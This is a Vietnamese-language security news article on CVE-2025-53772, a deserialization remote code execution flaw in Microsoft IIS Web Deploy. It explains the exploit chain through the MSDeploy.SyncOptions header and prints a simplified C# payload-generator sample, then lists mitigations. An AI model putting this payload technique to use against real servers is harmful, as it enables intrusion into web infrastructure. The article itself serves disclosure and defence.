RCE Microsoft IIS Web Deploy: Lỗ hổng Remote Code Execution Nguy hiểm

RCE Microsoft IIS Web Deploy: Lỗ hổng Remote Code Execution Nguy hiểm

Một lỗ hổng remote code execution (RCE) mới được công bố trong bộ công cụ Microsoft IIS Web Deploy đang thu hút sự chú ý của ngành bảo mật. Lỗ hổng này đã được phát hiện sau khi mã proof-of-concept công khai được phát hành.

Lỗ hổng, được theo dõi là CVE-2025-53772, nằm ở logic giải tuần tự hóa không an toàn của các endpoint msdeployagentservicemsdeploy.axd. Điều này cho phép những kẻ tấn công đã xác thực có thể thực thi mã tùy ý trên các máy chủ web dễ bị tổn thương, tạo ra nguy cơ lớn cho hệ thống.

Nội dung
Tổng quan về Microsoft IIS Web Deploy
Cơ chế Khai thác Lỗ hổng Remote Code Execution (RCE)

Chi tiết Kỹ thuật Khai thác và Proof-of-Concept
Tác động và Rủi ro Bảo mật
Biện pháp Khắc phục và Bảo vệ Chống lại RCE

Kết luận về Mối đe dọa Lỗ hổng CVE

Tổng quan về Microsoft IIS Web Deploy

IIS Web Deploy (hay msdeploy) là một bộ công cụ mạnh mẽ do Microsoft phát triển. Nó được thiết kế để đóng gói và đồng bộ hóa các ứng dụng web, cấu hình IIS cùng các tài nguyên liên quan giữa các môi trường triển khai khác nhau.

Công cụ này hỗ trợ hai đường dẫn triển khai chính: Web Management Service (WMSvc), có thể truy cập qua endpoint HTTP(S) /msdeploy.axd, và Web Deploy Agent Service (MsDepSvc).

Mặc dù các tính năng này cho phép triển khai và khôi phục ứng dụng một cách liền mạch, chúng cũng vô tình mở rộng bề mặt tấn công của dịch vụ khi quá trình xác thực đầu vào được triển khai lỏng lẻo hoặc không đầy đủ.

Cơ chế Khai thác Lỗ hổng Remote Code Execution (RCE)

Lỗ hổng này bắt nguồn từ cách các giá trị header HTTP được xử lý và giải tuần tự hóa. Cụ thể, Web Deploy sẽ đọc header MSDeploy.SyncOptions, trong đó dự kiến một khối dữ liệu đã được nén GZip và mã hóa Base64.

Nội bộ, dữ liệu trong header này sẽ trải qua một chuỗi các bước xử lý. Đầu tiên là giải mã Base64, sau đó là giải nén GZip, và cuối cùng là giải tuần tự hóa sử dụng BinaryFormatter của .NET.

Vấn đề trọng tâm nằm ở BinaryFormatter. Do khả năng của nó trong việc khởi tạo bất kỳ đối tượng nào được tìm thấy trong luồng giải tuần tự hóa, một tải trọng được chế tạo bởi kẻ tấn công có thể ép buộc máy chủ thực thi các lệnh không mong muốn. Đây là một nguyên nhân phổ biến gây ra các lỗ hổng remote code execution trong ứng dụng .NET.

Khi header MSDeploy.SyncOptions được truyền đến phương thức xử lý mà không có xác thực nghiêm ngặt, việc khai thác trở nên đơn giản. Bất kỳ kẻ tấn công nào có thể xác thực thành công vào dịch vụ Web Deploy đều có thể thực hiện cuộc tấn công.

Chi tiết Kỹ thuật Khai thác và Proof-of-Concept

Chuỗi khai thác thường sử dụng một biểu đồ đối tượng đã tuần tự hóa được chế tạo đặc biệt. Kẻ tấn công sẽ tận dụng các delegate trong .NET để gọi các phương thức hệ thống nhạy cảm, điển hình là System.Diagnostics.Process.Start, nhằm thực thi các lệnh tùy ý như cmd.exe /c calc.exe hoặc các lệnh phức tạp hơn.

Một gist GitHub công khai tại đây đã trình bày một công cụ tạo tải trọng C# tối thiểu. Công cụ này xây dựng một chuỗi delegate SortedSet có khả năng dẫn đến thực thi mã.

Sau khi tải trọng độc hại được tuần tự hóa, nén GZip và mã hóa Base64, kẻ tấn công sẽ gửi nó trong header SyncOptions của một yêu cầu HTTP POST đến endpoint /msdeploy.axd.

Nếu máy chủ mục tiêu chấp nhận và xử lý yêu cầu, nó sẽ giải nén, giải tuần tự hóa và cuối cùng là thực thi lệnh được nhúng. Quá trình này hoàn thành chuỗi tấn công remote code execution.


// Conceptual C# payload generation for unsafe deserialization
// This is a highly simplified example to illustrate the concept.
// Actual exploits use complex gadget chains.

using System;
using System.IO;
using System.IO.Compression;
using System.Runtime.Serialization.Formatters.Binary;
using System.Text;
using System.Collections.Generic;
using System.Diagnostics;

public class ExploitGadget
{
    public static string Command { get; set; }

    public static Comparison<string> GetMaliciousComparison()
    {
        // This delegate will be executed during SortedSet comparison.
        // In a real scenario, this would be part of a gadget chain.
        return new Comparison<string>((x, y) => {
            try
            {
                if (!string.IsNullOrEmpty(Command))
                {
                    Process.Start(new ProcessStartInfo(Command) { UseShellExecute = true });
                }
            }
            catch (Exception ex)
            {
                // Log error
            }
            return 0;
        });
    }

    public static byte[] CreateSerializedPayload(string commandToExecute)
    {
        Command = commandToExecute;
        MemoryStream ms = new MemoryStream();
        BinaryFormatter formatter = new BinaryFormatter();

        // Create a SortedSet with a malicious comparer delegate
        // This is a common deserialization gadget.
        SortedSet<string> payloadSet = new SortedSet<string>(GetMaliciousComparison());
        payloadSet.Add("trigger"); // Adding an element will invoke the comparer

        formatter.Serialize(ms, payloadSet);
        byte[] serializedData = ms.ToArray();

        using (MemoryStream outputMs = new MemoryStream())
        {
            using (GZipStream gzip = new GZipStream(outputMs, CompressionMode.Compress, true))
            {
                gzip.Write(serializedData, 0, serializedData.Length);
            }
            return outputMs.ToArray();
        }
    }
}

// How an attacker might use it:
// string command = "C:\Windows\System32\calc.exe";
// byte[] gzipCompressedPayload = ExploitGadget.CreateSerializedPayload(command);
// string base64EncodedPayload = Convert.ToBase64String(gzipCompressedPayload);
// Attackers then send base64EncodedPayload in the MSDeploy.SyncOptions HTTP header.

Tác động và Rủi ro Bảo mật

Việc khai thác thành công lỗ hổng CVE-2025-53772 có thể dẫn đến hậu quả nghiêm trọng. Kẻ tấn công có thông tin xác thực hợp lệ – thường có được thông qua đánh cắp thông tin đăng nhập, cấu hình sai dịch vụ, hoặc các lỗ hổng khác – có thể triển khai backdoor trên máy chủ.

Ngoài ra, chúng có thể sử dụng quyền truy cập để chuyển hướng tấn công (pivot) sang các hệ thống khác trong mạng nội bộ, hoặc thực hiện đánh cắp dữ liệu nhạy cảm từ máy chủ bị xâm nhập.

Do nhiều doanh nghiệp và tổ chức phụ thuộc vào Web Deploy cho các quy trình tự động hóa triển khai ứng dụng, một cuộc tấn công mạng thành công có thể ảnh hưởng đến nhiều máy chủ. Điều này làm cho thời gian để phát hiện và dọn dẹp sau một cuộc xâm nhập có thể kéo dài đáng kể, gây thiệt hại lớn.

Biện pháp Khắc phục và Bảo vệ Chống lại RCE

Microsoft đã đánh giá CVE-2025-53772 với điểm mức độ nghiêm trọng là 8.8 theo thang CVSS (Common Vulnerability Scoring System). Hãng đã phát hành một khuyến cáo và kêu gọi các quản trị viên áp dụng các bản vá bảo mật Web Deploy mới nhất ngay lập tức.

Cho đến khi các bản vá được triển khai rộng rãi và hoàn chỉnh trong môi trường của tổ chức, cần thực hiện các biện pháp giảm thiểu rủi ro sau để bảo vệ hệ thống khỏi các cuộc tấn công remote code execution:

  • Cập nhật Phần mềm: Luôn đảm bảo rằng tất cả các cài đặt Microsoft Web Deploy đều được cập nhật lên phiên bản mới nhất, có chứa các bản vá cho lỗ hổng CVE-2025-53772.
  • Kiểm soát Giải Tuần Tự Hóa: Thay thế BinaryFormatter bằng các thư viện giải tuần tự hóa an toàn hơn hoặc triển khai các cơ chế xác thực tùy chỉnh, mạnh mẽ hơn cho đầu vào bất cứ khi nào có thể. BinaryFormatter đã được biết đến là không an toàn cho việc giải tuần tự hóa dữ liệu không đáng tin cậy.
  • Cô lập Môi trường: Trong các môi trường có rủi ro cao, hãy xem xét việc cô lập các máy chủ Web Deploy phía sau các bastion triển khai chuyên dụng. Điều này có thể giúp giảm thiểu sự lây lan (lateral movement) của kẻ tấn công trong mạng sau khi một hệ thống bị xâm nhập.
  • Quản lý Thông tin xác thực: Đảm bảo rằng tất cả các tài khoản dịch vụ Web Deploy đều sử dụng mật khẩu mạnh, duy nhất và tuân thủ nguyên tắc đặc quyền tối thiểu (Least Privilege). Hạn chế quyền truy cập vào các tài khoản này chỉ cho những người dùng và quy trình thực sự cần thiết.
  • Giám sát và Ghi nhật ký: Thực hiện giám sát chặt chẽ các log truy cập và hoạt động của dịch vụ Web Deploy. Cần thiết lập cảnh báo để phát hiện sớm các hành vi bất thường hoặc dấu hiệu của cuộc tấn công mạng tiềm tàng.
  • Giới hạn Quyền truy cập Mạng: Hạn chế quyền truy cập mạng vào các endpoint Web Deploy (như /msdeploy.axd) chỉ từ các địa chỉ IP hoặc dải mạng tin cậy.

Kết luận về Mối đe dọa Lỗ hổng CVE

CVE-2025-53772 là một lời nhắc nhở rõ ràng về những nguy hiểm dai dẳng của việc giải tuần tự hóa không an toàn và tầm quan trọng của việc xác thực đầu vào nghiêm ngặt. Lỗ hổng này làm nổi bật sự cần thiết phải kiểm tra kỹ lưỡng trong các quy trình triển khai phần mềm.

Các tổ chức phải hành động nhanh chóng để vá lỗi và củng cố cơ sở hạ tầng Web Deploy của họ. Điều này là cấp thiết để bảo vệ hệ thống khỏi mối đe dọa remote code execution nghiêm trọng này và đảm bảo an toàn thông tin.